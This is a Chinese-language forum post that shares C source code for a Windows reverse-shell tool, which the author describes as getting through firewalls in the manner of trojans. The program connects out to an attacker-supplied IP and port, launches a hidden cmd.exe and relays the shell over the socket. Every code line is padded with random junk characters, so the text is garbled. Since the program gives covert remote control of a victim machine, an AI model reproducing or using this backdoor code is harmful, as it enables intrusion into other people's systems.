社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 5594阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 l<LP&  
:vqgGKml$  
/* ============================== Y^;ovH~ ve  
Rebound port in Windows NT m_?~OL S  
By wind,2006/7 D4lG[qb  
===============================*/ 0oZ= yh  
#include O1U=X:Zl  
#include oAJM]%g{  
[" )o.(  
#pragma comment(lib,"wsock32.lib") uLL]A>vR  
 +yH7v5W  
void OutputShell(); z2_*%S@  
SOCKET sClient; .B]MpmpK  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; IS{wtuA.  
pnowy;  
void main(int argc,char **argv) #@9/g  
{ *K6g\f]b#  
WSADATA stWsaData; Fa Qe_;  
int nRet; L~rBAIdD  
SOCKADDR_IN stSaiClient,stSaiServer; vrhT<+q  
+_?hK{Ib"  
if(argc != 3) H z1%x  
{ t?x<g<PJ4  
printf("Useage:\n\rRebound DestIP DestPort\n"); rq/yD,I,  
return; r6MMCJ|G  
} ;4^Rx  
kHghPn?8]  
WSAStartup(MAKEWORD(2,2),&stWsaData); 2G67NC?+  
RXpw!  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); rb2S7k0{  
Jr ,;>   
stSaiClient.sin_family = AF_INET; D3Ig>gKo?m  
stSaiClient.sin_port = htons(0); "$Z= %.3Q  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Vod\a 5c  
dGYn4i2k?  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Ustv{:7v  
{ <ro7vPKNa  
printf("Bind Socket Failed!\n"); uk< 4+x,2)  
return; 8 S:w7Hr  
} &Fzb6/  
B:;pvW]  
stSaiServer.sin_family = AF_INET; 8>2.UrC  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); j9x<Y]  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); fcRxp{*zO  
'RQ+g}|Ba!  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) [LjT*bi  
{ L%*!`TN  
printf("Connect Error!"); hYT0l$Ng  
return; W#4 7h7M  
} @;zl  
OutputShell(); SIF/-{i(X  
} [fya)}  
@Q ]=\N:  
void OutputShell() 7 S#J>*  
{ UqFO|r"M  
char szBuff[1024]; E:sf{B'&  
SECURITY_ATTRIBUTES stSecurityAttributes; <ktrPlNuM  
OSVERSIONINFO stOsversionInfo; 53;}Nt#R  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; xjuN-  
STARTUPINFO stStartupInfo; d6?j`~[7#-  
char *szShell; ]_mb7X>  
PROCESS_INFORMATION stProcessInformation; lk^Ol&6  
unsigned long lBytesRead; ~:rl=o}  
W+aP}rZm:  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 1b `1{%  
F 5bj=mI  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); n71r_S*  
stSecurityAttributes.lpSecurityDescriptor = 0; gq4Tb c oA  
stSecurityAttributes.bInheritHandle = TRUE; ?K$(817  
oo/qb`-6  
w=0(<s2  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); =1FRFZI!j  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 1y4|{7bb  
iTBx\ u%{  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo));  &=@IzmA  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'Vzp2  
stStartupInfo.wShowWindow = SW_HIDE;  acajHs  
stStartupInfo.hStdInput = hReadPipe; [i21FX  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; `quw9j9`C\  
L:KF_W.I+  
GetVersionEx(&stOsversionInfo); *)$Uvw E  
>a!/QMh  
switch(stOsversionInfo.dwPlatformId) CTB~Yj@d+  
{ !1jBC.G1  
case 1: $u$!tj  
szShell = "command.com"; .LPV#&   
break; :)-Sk$  
default: /wQy17g  
szShell = "cmd.exe"; ,uSMQS-O'4  
break; 9Z@hPX3.  
} GvtG(u~  
O40?{v'  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); lK?uXr7^  
LiC*@W  
send(sClient,szMsg,77,0); 4M=]wR;  
while(1) rT=rrvV3g  
{ ?qv !w~m<  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); <,3a3  
if(lBytesRead) BA@lk+aW  
{ FZ{h?#2?  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); [SjqOTon{  
send(sClient,szBuff,lBytesRead,0); %+aCJu[k(z  
} (+w*[qHe  
else h"[AOfTE$  
{ MD}w Y><C  
lBytesRead=recv(sClient,szBuff,1024,0); f&N gS+<K$  
if(lBytesRead<=0) break; =J]&c?I  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ,Q3T Tno ,  
} 9a[9i}_  
} m<<+  
a{L%7  
return; fbyd"(V 8r  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
10+5=?,请输入中文答案:十五